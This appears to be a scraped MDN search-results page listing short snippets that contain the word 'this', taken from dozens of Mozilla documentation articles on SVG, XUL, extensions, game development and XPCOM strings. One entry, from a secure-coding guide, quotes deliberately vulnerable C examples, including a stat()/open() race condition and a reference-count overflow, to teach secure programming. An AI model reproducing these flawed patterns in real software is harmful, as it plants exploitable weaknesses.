vg viewbox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"> <defs> <pattern id="star" viewbox="0,0,10,10" width="10%" height="10%"> <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg> attributes height
this attribute determines the height of the pattern tile.
... value type: <length>|<percentage>; default value: 0; animatable: yes href
this attribute reference a template pattern that provides default values for the <pattern> attributes.
... value type: <url>; default value: none; animatable: yes patterncontentunits
this attribute defines the coordinate system for the contents of the <pattern>.
...And 9 more matches
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
this page explains a problem that can cause svg to stop working in mozilla due to the way mozilla maps filename extensions to media types.
... symptoms previously you were able to open and display svg content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on
this page" bar when you try to view html with embedded svg.
...if the blue square with the white cross displays when you load
this scripting across embed demo, then you are not experiencing
this problem.
...And 9 more matches
cfx to jpm - Archive of obsolete content
this article highlights the main differences between cfx and jpm.
... activation you need to call cfx activate before you can use cfx, and
this only works in the current command shell: if you open a new shell you have to call activate again.
... you can edit
this file to create your own id, but if you don't, cfx will generate one for you, which will look something like "jid1-f3boogbjqje67a".
...And 8 more matches
Custom about: URLs - Archive of obsolete content
this page describes how to register a new about: url for your extension.
... setup for firefox 4+
this is a simple example of a custom about page for bootstrapped addons.
...
this example creates an about page with url about:myaboutpage which takes a user to a page that writes some text out.
...And 8 more matches
Listening to events in Firefox extensions - Archive of obsolete content
there are several different categories of events;
this article will help you learn about them and direct you to more specific documentation covering each of them.
... if you have behaviors that fire when a user navigates away from the page, but you want to take advantage of
this new caching feature, and therefore don't want to use the unload handler, use the new pagehide event.
... pageshow event
this event works the same as the load event, except that it fires every time the page is loaded (whereas the load event doesn't fire in firefox 1.5 when the page is loaded from cache).
...And 8 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
if (array.isarray(elemnameorarray)) { var frag = doc.createdocumentfragment(); array.foreach(arguments, function(
thiselem) { frag.appendchild(tag.apply(null,
thiselem)); }); return frag; } // single element?
...they're not in any namespace) elem.setattributens(attrns.namespace || "", attrns.shortname, val); } } // create and append
this element's children var childelems = array.slice(arguments, 2); childelems.foreach(function(childelem) { if (childelem != null) { elem.appendchild( childelem instanceof doc.defaultview.node ?
...= ["xul:toolbarbutton", { id: "mytestbutton", class: "toolbarbutton-1", type: "menu", label: "test button label", tooltiptext: "test button tooltip", removable: true, key: "mytestbutton123" }, [ "menupopup", { onpopupshowing: function(event) { addentrytopopup(
this, document, window); } }, null ] ]; var capturednodes = {}; var toolbox = doc.getelementbyid("navigator-toolbox"); var palette = toolbox.palette; var domfragment = jsontodom(jsontemplatebtn, document, capturednodes); palette.appendchild(domfragment); alert("capturednodes contains any created nodes that have optionally been captured (for later convenient javasc...
...And 8 more matches
Introduction - Archive of obsolete content
this tutorial is meant to be the stepping stone that will turn you into a professional firefox extension developer in no time.
...a team of over a dozen xul developers conformed glaxstar at the time
this tutorial was created, and the combined experiences of years creating firefox extensions are reflected here.
... with
this tutorial you'll learn how to develop firefox extensions.
...And 8 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
in
this tutorial, we'll explain how to make regular expressions that match the urls for ebay auction item pages.
...here's a url for an auction item page on ebay: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 in
this url, the domain name is "cgi.ebay.com", the file path is "/ws/ebayisapi.dll", and the query parameters are "?viewitem&item=280018439106".
... matching an ebay url to match
this url with a regular expression, we need to put characters into the regular expression that match the characters in the url.
...And 8 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
editor's note:
this article should be rewritten to describe why use xulrunner to create your own application.
...what
this means to you as the developer is
this: you can take advantage of skills you already have with xml or web technologies to design and implement anything from a simple text editor to a comprehensive ide - complete with all of the interface widgets that you would find in virtually any major application framework.
... another benefit of
this standards-based approach to ui development is that your application is cross-platform "out of the box".
...And 8 more matches
Actionscript Acceptance Tests - Archive of obsolete content
testname.as.asc_args
this file specifies additional arguments to pass to asc when compiling the test: # asc args for file # two modes are available: # override| all command line arguments (except builtin.py) are ignored and replaced by these # merge| merge these args in with the current args # specifiy an arg that starts with -no will disable the arg...
...testname.as.avm_args
this file specifies additional arguments to pass to the shell when running the test - the user can use the special variable $dir to refer to the current directory.
...
this example passes in another .abc file as an argument to the file being run: -- $dir/file.abc another use would be to pass a specific argument to the shell: -dtimeout
this file can have multiple lines with different arguments.
...And 8 more matches
The life of an HTML HTTP request - Archive of obsolete content
warning: the content of
this article may be out of date.
...necko (the network library) checks the url scheme (the first part of the url, http: in
this case) and locates the correct nsiprotocolhandler (in
this case nshttphandler) and asks it for a nsichannel (nshttpchannel).
...now the channel knows the content type of the incoming data, so the documentloader can find an nsidocumentloaderfactory for the "text/html" content type (in
this case an nslayoutdlf).
...And 8 more matches
Treehydra Manual - Archive of obsolete content
this is called just before gcc converts the c++-specific ast to the generic (language-independent) representation.
...by default,
this is called just after gcc converts the ast to gimple, before any further lowering or optimization.
...in
this case, gimple asts will not be available, as gcc does not save earlier intermediate representations--they are modified in place.
...And 8 more matches
appendNotification - Archive of obsolete content
this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich content as well.
... keep in mind that
this is all xul so using html elements for styling might still need additional css in order to work as you might expect.
...
this function is passed three arguments: the <notification> the button is associated with the button description as passed to appendnotification.
...And 8 more matches
XML Templates - Archive of obsolete content
this indicates to the template builder that an xml source is being used as that the queries use syntax that is specific to xml.
...support for
this was introduced in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4).
... for
this and the following examples, we are going to use the following xml document containing a list of people: <people> <person name="napoleon bonaparte" gender="male"/> <person name="cleopatra" gender="female"/> <person name="julius caesar" gender="male"/> <person name="ferdinand magellan" gender="male"/> <person name="laura secord" gender="female"/> </people> xml query syntax the query syntax is fairly simple for xml datasources.
...And 8 more matches
Adding Style Sheets - Archive of obsolete content
this method has the disadvantage because it means your application will not be themeable.
...the second line has always been: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
this line indicates that we want to use the style provided by chrome://global/skin/.
... in mozilla,
this will be translated as the file global.css, which contains default style information for xul elements.
...And 8 more matches
Tree Box Objects - Archive of obsolete content
« previousnext »
this section will describe the tree box object used to handle how a tree is displayed.
...in
this case, there are other drawing functions that can be used.
... note: it is not necessary to run tree.boxobject.queryinterface(components.interfaces.nsitreeboxobject) as shown in the code examples on
this page because: let boxobject = tree.treeboxobject; note: is equivalent to: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); scrolling the tree you can also scroll the tree using four different methods, similar to those available for listboxes.
...And 8 more matches
editor - Archive of obsolete content
in
this case, set the editortype attribute on the editor.
... attributes editortype, src, type properties accessibletype, commandmanager, contentdocument, contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, gethtmleditor, makeeditable examples
this example shows how to made the editor editable by setting the designmode property of the loaded html document: <script language="javascript"> function initeditor(){ //
this function is called to set up the editor var editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="con...
...
this value will be overridden depending on the content type of the document in the editor.
...And 8 more matches
listcell - Archive of obsolete content
if you wish to use the value none and the displayed text is larger than
this maximum width, you may be able to use the max-width css property (or the maxwidth attribute) to override
this size.
...if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...And 8 more matches
treecell - Archive of obsolete content
this element should be placed inside a treerow.
... the tree and treecol must also be marked as editable in order for
this to work.
... the tree must be a content tree for
this to work on treecells.
...And 8 more matches
XULRunner tips - Archive of obsolete content
venkman uses "chrome://communicator/skin/" as an alias for "chrome://global/skin/" and
this alias was maintained in the xulrunner toolkit until xulrunner 1.9 was released.
... when using xulrunner 1.9 or greater, you can create your own alias in your chrome manifest add a "skin" line: skin communicator classic/1.0 skin/communicator/ add a skin folder named "communicator" and add a single css file named "communicator.css" with
this content: @import url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* application follow these steps: download the dom inspector (instead of clicking the "add to..." button, right-click and select "save link as...").
...erlay.xul chrome://inspector/content/viewers/dom/keysetoverlay.xul overlay chrome://inspector/content/popupoverlay.xul chrome://inspector/content/viewers/stylerules/popupoverlay.xul overlay chrome://inspector/content/commandoverlay.xul chrome://inspector/content/viewers/dom/commandoverlay.xul to launch dom inspector in your application, you need to open its main window, with a command like
this: window.open("chrome://inspector/content/inspector.xul", "", "chrome"); alternatively, the dom inspector may also be added as an extension: (if you already have inspector installed for another application you can skip to the next step) follow the instructions above through "unzip the package." create a file in the extensions directory of your application with the same name as the dom ins...
...And 8 more matches
Scratchpad - Archive of obsolete content
this will open up scratchpad in its own window.
...
this is especially useful in split console mode: you can use scratchpad for a persistent, multiline editor, and the console to interact with the page.
... editing the scratchpad window looks something like
this (on macos the menu bar is at the top of the screen): the file menu offers options to save and load javascript code snippets, so you can reuse code later if you like.
...And 8 more matches
Mozilla XForms User Interface - Archive of obsolete content
introduction
this article is a quick reference of the xforms user interface elements.
... mainly
this is aimed to document how xforms elements will be presented in mozilla since the xforms specifications give only a hint of how controls might be rendered.
...
this article uses several notations.
...And 8 more matches
Common causes of memory leaks in extensions - Extensions
this page explains coding patterns that cause extension to cause memory leaks.
... for example, in xul overlay code: var contentwindows = []; function inbrowserxuloverlay(contentwindow) { // forgetting or failing to pop the content window thing again contentwindows.push(contentwindow); }
this will keep the content window compartments alive until the browser window is closed.
...however, while
this is still true, the window.setinterval() in the example originates from the outer chrome window (browser.xul) and not from the content window.
...And 8 more matches
Building up a basic demo with A-Frame - Game development
the webxr and webgl apis already enable us to start creating virtual reality (vr) experiences inside web browsers, but the community is still waiting for tools and libraries to appear, to make
this easier.
... mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles;
this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl.
...
this article explains how to get up and running with a-frame, and how to use it to build up a simple demo.
...And 8 more matches
Building up a basic demo with Babylon.js - Game development
in
this article we'll take you through the real basics of using babylon.js, including setting up a development environment, structuring the necessary html, and writing the javascript code.
... before reading on, copy
this code to a new text file and save it in your working directory as index.html.
...let's start with the camera — add
this line to your code below the scene creation and the line where we defined the clearcolor.
...And 8 more matches
GLSL Shaders - Game development
in
this article we will make a simple code example that renders a cube.
...
this allows the cpu to focus its processing power on other tasks, like executing code.
...the purpose of the vertex shader is to set up the gl_position variable —
this is a special, global, and built-in glsl variable.
...And 8 more matches
Square tilemaps implementation: Scrolling maps - Game development
this article covers how to implement scrolling square tilemaps using the canvas api.
... note: when writing
this article, we assumed previous reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
...
this article also builds upon implementing static square tilemaps — you should read that too if you've not done so already.
...And 8 more matches
Test your skills: Grid Layout - Learn web development
this aim of
this task is to get you working with css grid layout, and test that you understand how a grid and grid items behave.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... grid layout one in
this task you should create a grid into which the four child elements will auto-place.
...And 8 more matches
How CSS works - Learn web development
in
this lesson we will take a look at how a browser takes css and html and turns that into a webpage.
...bear in mind that
this is a very simplified version of what happens when a browser loads a webpage, and that different browsers will handle the process in different ways.
... but
this is roughly what happens.
...And 8 more matches
Typesetting a community school homepage - Learn web development
previous overview: styling text in
this assessment we'll test your understanding of all the text styling techniques we've covered throughout
this module by getting you to style the text for a community school's homepage.
... prerequisites: before attempting
this assessment you should have already worked through all the articles in
this module.
... starting point to get
this assessment started, you should: go and grab the html and css files for the exercise, and the provided external link icon.
...And 8 more matches
How do I start to design my website? - Learn web development
this article covers the all-important first step of every project: define what you want to accomplish with it.
... all of
this is called project ideation and is a necessary first step to reach your goal, whether you are a beginner or an experienced developer.
...to do
this, you need only pen and paper and some time to answer at least the following questions.
...And 8 more matches
HTML forms in legacy browsers - Learn web development
dealing with
this wilderness is part of the job.
...if you are reading
this on mdn, you are at the right place to start.
...there are other resources that can be amazingly helpful: browser vendor documentation mozilla: you're in the right place, just browse mdn microsoft: internet explorer standards support documentation webkit: because there are several different editions of
this engine, things are a little trickier.
...And 8 more matches
Web forms — Working with user data - Learn web development
this module provides a series of articles that will help you master the essentials of web forms.
... get started prerequisites before starting
this module, you should at least work through our introduction to html.
... at
this point you should find the introductory guides easy to understand, and also be able to make use of our basic native form controls guide.
...And 8 more matches
Mozilla splash page - Learn web development
previous overview: multimedia and embedding in
this assessment, we'll test your knowledge of some of the techniques discussed in
this module's articles, getting you to add some images and video to a funky splash page all about mozilla!
... prerequisites: before attempting
this assessment you should have already worked through the rest of the multimedia and embedding module.
... starting point to start off
this assessment, you need to grab the html and all the images available in the mdn-splash-page-start directory on github.
...And 8 more matches
Multimedia and Embedding - Learn web development
we've looked at a lot of text so far in
this course, but the web would be really boring only using text.
...
this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire webpages.
... get started prerequisites before starting
this module, you should have a reasonable understanding of the basics of html, as previously covered in introduction to html.
...And 8 more matches
Image gallery - Learn web development
prerequisites: before attempting
this assessment you should have already worked through all the articles in
this module.
... starting point to get
this assessment started, you should go and grab the zip file for the example, unzip it somewhere on your computer, and do the exercise locally to begin with.
... note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
...And 8 more matches
Client-side web APIs - Learn web development
in
this module, we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work.
... get started prerequisites to get the most out of
this module, you should have worked your way through the previous javascript modules in the series (first steps, building blocks, and javascript objects).
...for
this tutorial, we will assume that you are knowledgable about the core javascript language, and we will explore common web apis in a bit more detail.
...And 8 more matches
Test your skills: Math - Learn web development
this aim of
this skill test is to assess whether you've understood our basic math in javascript — numbers and operators article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
...finally, we need to write a test that proves that
this value is an even number.
...And 8 more matches
Properly configuring server MIME types - Learn web development
this article may contain out of date information, as it has not been significantly updated in many years.
...
this is a major source of problems for users of gecko-based browsers, which respect the mime types as reported by web servers and web applications.
...examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascript for scripts application/octet-stream meaning "download
this file" application/x-java-applet for java applets application/pdf for pdf documents technical background registered values for mime types are available in iana | mime media types.
...And 8 more matches
Introduction to the server side - Learn web development
in
this first article, we look at server-side programming from a high level, answering questions such as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?".
... after reading
this article you'll understand the additional power available to websites through server-side coding.
...on a dynamic website html pages are normally created by inserting data from a database into placeholders in html templates (
this is a much more efficient way of storing large amounts of content than using static websites).
...And 8 more matches
Accessibility information for UI designers and developers
this page describes a number of design-related aspects to look out for, in no particular order.
...calculating
this ratio is easiest done with a tool, for example lea verou's contrast ratio.
... for example, in
this chart, it helps to add labels besides the colored chart lines:people who cannot see the difference between the colors, can use the labels instead.
...And 8 more matches
CSUN Firefox Materials
" - alan cantor, cantor access consulting (http://www.cantoraccess.com) firefox includes keyboard access to all of its amazing features: find as you type allows for quick navigation to links and text searching without opening a separate dialog --
this allows more convenient use by screen magnification users because there is a single point of regard for the search.
...
this allows copying arbitrary pieces of text to the clipboard.
... the f7 key toggles
this feature on/off.
...And 8 more matches
Creating a Language Pack
this page is out of date.
... configure step you need to prepare the build directory, which is done with ./mach configure you only need to run
this if the version number of firefox changes.
... while in that directory, issue the following command: $ make merge-x-testing locale_mergedir=$(pwd)/mergedir x-testing: browser chrome browser aboutcerterror.dtd // add and localize
this file ...
...And 8 more matches
Debugging JavaScript
this document is intended to help developers writing javascript code in mozilla, mainly for mozilla itself, but it may also be useful for web developers.
... web console
this is the first place to go when you're debugging a web page; open the web console using the web console option in the web developer menu.
...
this shows any javascript errors in your app, as well as any logging calls from the console api.
...And 8 more matches
Frame script loading and lifetime
this line of code loads a frame script into the currently selected tab.
...for example: var mm = window.messagemanager; mm.loadframescript("chrome://my-e10s-extension/content/frame-script.js", true); the script will be loaded into all tabs currently open in
this window, and all new tabs opened afterwards.
... if you use allowdelayedload, you can cancel it by using removedelayedframescript: var mm = window.messagemanager; mm.removedelayedframescript("chrome://my-e10s-extension/content/frame-script.js");
this means we will stop loading the script into new tabs.
...And 8 more matches
How to Report a Hung Firefox
note:
this article is intended for developers and technically-knowledgeable users.
...
this usually means that something in firefox is hung.
...
this may be because of a code error within firefox itself, such as a deadlock or infinite loop, or it may be caused by 3rd-party software such as a firefox extension, antivirus software, or even malware or a virus on your computer.
...And 8 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
this ip address is then used to connect to the web server in question.
...
this process is called "nameprep" and is performed according to rfc 3491 (nameprep: a stringprep profile for internationalized domain names (idn)) and rfc 3454 (preparation of internationalized strings ("stringprep")).
...
this is defined in rfc 3492 (punycode: a bootstring encoding of unicode for internationalized domain names in applications (idna)).
...And 8 more matches
DownloadTarget
this is a dynamic property, which is updated when the download is completed or when the download.refresh() method is called.
... you can use
this instead of using file system calls to check for the existence of the file in order to reduce io overhead.
... it is possible for
this property to have a non-zero value even if the target file no longer exists, if the value is available in download metadata.
...And 8 more matches
Localizing with Mozilla Translator
this will remove obsolete strings and files from the internal database of mt, and will present you with a list of new and updated strings.
...all
this means is that the strings have yet to be translated.
...the directory structure will look like
this: (ab-cd jar root) locale |-- branding | |-- brand.dtd | `-- brand.properties |-- browser | |-- aboutdialog.dtd .
...And 8 more matches
Uplifting a localization from Central to Aurora
you don't need to work on making the synchronization happen in either of your copies of the aurora or central repositories, but you can create a third one for
this work.
...you really want a merge tool for
this.
...
this looks something like searching for changes adding changesets adding manifests adding file changes added 22 changesets with 23 changes to 46 files (+1 heads) (run 'hg heads' to see heads, 'hg merge' to merge) ok, let's make sure we're not talking relbranches: hg heads --template '{node} {branches}\n'
this is printing something like 5131e147fa50c28ec858c7d9fd1ba20...
...And 8 more matches
Activity Monitor, Battery Status Menu and top
this article describes the activity monitor, battery status menu, and top — three related tools available on mac os x.
... note: the power profiling overview is worth reading at
this point if you haven't already.
... it may make parts of
this document easier to understand.
...And 8 more matches
JS::PerfMeasurement
we also can't guarantee that all platforms will support all event types, once we have more than one back end for
this interface.
... here is the complete c++-level api: perfmeasurement::eventmask
this is an enumeration defining all of the bit mask values in the above table.
...perfmeasurement::all in a constructor call,
this special value means "measure everything that can possibly be measured." perfmeasurement::num_measurable_events
this constant equals the total number of events defined by the api - not necessarily the total number of events that a particular os allows you to measure.
...And 8 more matches
Profiling with Xperf
this page applies to xperf version 4.8.7701 or newer.
... you'll have to agree to a eula for the microsoft symbols -- if you're not prompted for
this, then something isn't configured right in your symbol path.
...stop: xperf -d out.etl view: xperfview out.etl the msdn "quickstart" page goes over
this in more detail, and also has good explanations of how to use xperfview.
...And 8 more matches
Invariants
(one reason for
this is that the object may have watchpoints set; the watchpoint machinery assumes that all objects with watched properties are native.
... (the jsval encoding depends on
this.) the jsstackframe::down chain never forms a cycle.
...js_setparent can violate
this, if the application is really that dumb, but generally every object is newer than its __parent__.) the tracejit must not trace into a function whose scope chain ends in a different global object.
...And 8 more matches
Tracing JIT
this document is talking about deprecated feature.
...in
this way the assembler can "patch together" multiple fragments, so that program control can flow from one fragment into another, or back out of generated code and into the interpreter.
...it is important to keep in mind that
this pass runs backwards from the last lins in the input lir code to the first, generating native code in reverse.
...And 8 more matches
JS_SetOptions
obsolete since jsapi 27
this feature is obsolete.
...
this is the logical or of zero or more flags described below.
...
this function returns a uint32 value containing the previous values of the flags.
...And 8 more matches
JS_THREADSAFE
we have recently made major changes to
this feature.
...in
this reference, these jsapi functions are marked with the words "requires request", like
this: name type description cx jscontext * the context to use.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 8 more matches
SpiderMonkey 17
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... (the msstdint project includes an implementation of
this header for microsoft visual studio which demonstrates what the c99 interface looks like.) otherwise, if the compiler doesn't provide a usable <stdint.h> header, a custom implementation shipped with the spidermonkey source is used.
... currently only versions of visual studio prior to 2010 (also known as version 10) are known to be deficient in
this manner, so the custom implementation (which is compatible with the one shipped in visual studio 2010 and later) is only invoked for those compilers.
...And 8 more matches
Secure Development Guidelines
memory leaks example: void *p; size_t new_size; p = realloc(p, new_size); if (p == null) { /* handle error */ } memory leaks: prevention tools like valgrind can help detect memory leaks writing secure code: object management reference counting issues real-life example (bug 440230) void addref() { ++mrefcnt; ns_log_addref(
this, mrefcnt, "nscssvalue::array", sizeof(*
this)); } void release() { --mrefcnt; ns_log_release(
this, mrefcnt, "nscssvalue::array"); if (mrefcnt == 0) delete
this; } reference counting issues: prevention use the largest data type available on your platform for your reference counter use a hard limit constructor/destructor issues if a constructor fails the destru...
...ctor never gets called
this can lead to memory leaks constructor/destructor issues example class foo { private: char *ptr; public: foo() {} ~foo() { if (ptr) free(ptr); } }; constructor/destructor issues: prevention initialize the data members of an object in the constructor writing secure code: miscellaneous file i/o a lot can go wrong because a lot can be done with file input and output filenames permissions file handles and descriptors file i/o: filename divided in directories, subdirectories, and the file itself ‘/’ is separator; in windows ‘\’ would work too int openfile(char *file) { handle fh; if (strstr(file, “\”)) return -1; fh = ...
...atbuf); if (s_islink(statbuf.st_mode)) { bailout(“symbolic link”); } else if (statbuf.st_uid != getuid) { bailout(“you don’t own the file”); } fd = open(file, o_rdwr); write(fd, argv[2], strlen(argv[2])); } file i/o: race conditions previous example contains a race condition the file may change between the call top stat() and open()
this opens the possibility of writing arbitrary content to any file race conditions occur when two separate execution flows share a resource and its access is not synchronized properly race condition types include file (previously covered) thread (two threads share a resource but don’t lock it) signal race conditions example char *ptr; void sighandler() { if (ptr)...
...And 8 more matches
XPCOM Stream Guide
this implementation actually writes the contents of the file you're trying to create to a temporary file.
...to solve
this, there is a special nsiscriptableinputstream interface and "scriptable stream" wrapper.
... if you have an input stream called nativestream, you can use code like
this: var stream = components.classes["@mozilla.org/scriptableinputstream;1"] .createinstance(components.interfaces.nsiscriptableinputstream); stream.init(nativestream); the stream provides .read(count), .available(), and .close() methods.
...And 8 more matches
Components.utils
please keep
this list in sync with the components object page methods method description cloneinto() create a structured clone of an object in a different javascript context.
... getcomponentsforscope()
this seemingly-paradoxical api allows privileged code to explicitly give unprivileged code a reference to its own components object (whereas it's normally hidden away on a scope chain visible only to xbl methods).
... isdeadwrapper() determines whether
this object is backed by a deadobjectproxy.
...And 8 more matches
NS ConvertASCIItoUTF16 external
@param newsize size the string to
this length.
...ther prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
... parameters char* aasciistring find print32 find(const nsastring&, print32 (*)(const prunichar*, const prunichar*, pruint32)) const - source find the first occurrence of astr in
this string.
...And 8 more matches
NS ConvertUTF8toUTF16 external
@param newsize size the string to
this length.
...ther prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
... parameters char* aasciistring find print32 find(const nsastring&, print32 (*)(const prunichar*, const prunichar*, pruint32)) const - source find the first occurrence of astr in
this string.
...And 8 more matches
PromiseFlatString (External)
@param newsize size the string to
this length.
...ther prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
... parameters char* aasciistring find print32 find(const nsastring&, print32 (*)(const prunichar*, const prunichar*, pruint32)) const - source find the first occurrence of astr in
this string.
...And 8 more matches
nsAutoString (External)
@param newsize size the string to
this length.
...ther prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
... parameters char* aasciistring find print32 find(const nsastring&, print32 (*)(const prunichar*, const prunichar*, pruint32)) const - source find the first occurrence of astr in
this string.
...And 8 more matches
nsDependentString external
@param newsize size the string to
this length.
...ther prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
... parameters char* aasciistring find print32 find(const nsastring&, print32 (*)(const prunichar*, const prunichar*, pruint32)) const - source find the first occurrence of astr in
this string.
...And 8 more matches
nsDependentSubstring external
@param newsize size the string to
this length.
... other prbool operator!=(const prunichar*) const - source parameters prunichar other equalsliteral prbool equalsliteral(const char*) const - source parameters char aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
... parameters char aasciistring find(const nsastring&, print32 (*) print32 find(const nsastring&, print32 (*)(const prunichar*, const prunichar*, pruint32)) const - source find the first occurrence of astr in
this string.
...And 8 more matches
nsStringContainer (External)
@param newsize size the string to
this length.
...ther prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
... parameters char* aasciistring find print32 find(const nsastring&, print32 (*)(const prunichar*, const prunichar*, pruint32)) const - source find the first occurrence of astr in
this string.
...And 8 more matches
nsString external
@param newsize size the string to
this length.
...ther prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
... parameters char* aasciistring find print32 find(const nsastring&, print32 (*)(const prunichar*, const prunichar*, pruint32)) const - source find the first occurrence of astr in
this string.
...And 8 more matches
IAccessibleEditableText
other-licenses/ia2/accessibleeditabletext.idlnot scriptable
this interface provides clipboard capability to text objects.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3)
this interface is typically used in conjunction with the iaccessibletext interface and complements that interface with the additional capability of clipboard operations.
... note that even a read only text object can support the copy capability so
this interface is not limited to editable objects.
...And 8 more matches
IAccessibleValue
other-licenses/ia2/accessiblevalue.idlnot scriptable
this interface gives access to a single numerical value.
...
this interface lets you access the value and its upper and lower bounds.
... method overview [propget] hresult currentvalue([out] variant currentvalue ); [propget] hresult maximumvalue([out] variant maximumvalue ); [propget] hresult minimumvalue([out] variant minimumvalue ); hresult setcurrentvalue([in] variant value ); methods currentvalue() returns the value of
this object as a number.
...And 8 more matches
imgIRequest
modules/libpr0n/public/imgirequest.idlscriptable please add a summary to
this article.
...monkey 2.5) method overview void cancelandforgetobserver(in nsresult astatus); imgirequest clone(in imgidecoderobserver aobserver); void decrementanimationconsumers(); imgirequest getstaticrequest(); void incrementanimationconsumers(); void lockimage(); void requestdecode(); void unlockimage(); attributes attribute type description corsmode long the cors mode that
this image was loaded with.
...note that
this might not be the actual uri for the image (for example if http redirects happened during the load).
...And 8 more matches
mozIStorageFunction
this is an interface that must be implemented by consumers.
...objects implementing
this interface can be registered with mozistorageconnection.createfunction().
... storage/public/mozistoragefunction.idlscriptable please add a summary to
this article.
...And 8 more matches
nsIApplicationCacheNamespace
netwerk/base/public/nsiapplicationcache.idlscriptable
this interface represents an application cache namespace.
...how
this attribute is used varies depending on the namespace type.
... if the data is a uri,
this attribute should be the uri's asciispec.
...And 8 more matches
nsIAuthPrompt2
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3)
this interface is usually acquired using getinterface on notification callbacks or similar.
...
this interface is implemented by @mozilla.org/login-manager/prompter;1.
...
this has largely the same semantics as nsiauthprompt.promptusernameandpassword(), but must return immediately after calling and return the entered data in a callback.
...And 8 more matches
nsIDBChangeListener
{}, onjunkscorechanged: function(ainstigator) {}, onhdrpropertychanged: function(ahdrtochange, aprechange, astatus, ainstigator) {}, onevent: function(adb, aevent) {}, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsidbchangelistener) && !aiid.equals(components.interfaces.nsisupports)) throw components.results.ns_error_no_interface; return
this; } }; and to attach it in thunderbird, we must call addlistener on a nsidbchangeannouncer, typically through a nsimsgdatabase.
... there are a couple of ways to access the message database: if you have a nsimsgfolder, you can do
this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsgke...
...
this can be used to filter out events that you yourself started.
...And 8 more matches
nsIFrameLoader
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note:
this interface works in tandem with the nsicontentview interface to manage frames across processes if electrolysis is in use to support per-frame processes.
...
this can be used to decide what operations may or may not be allowed on the loader's docshell.
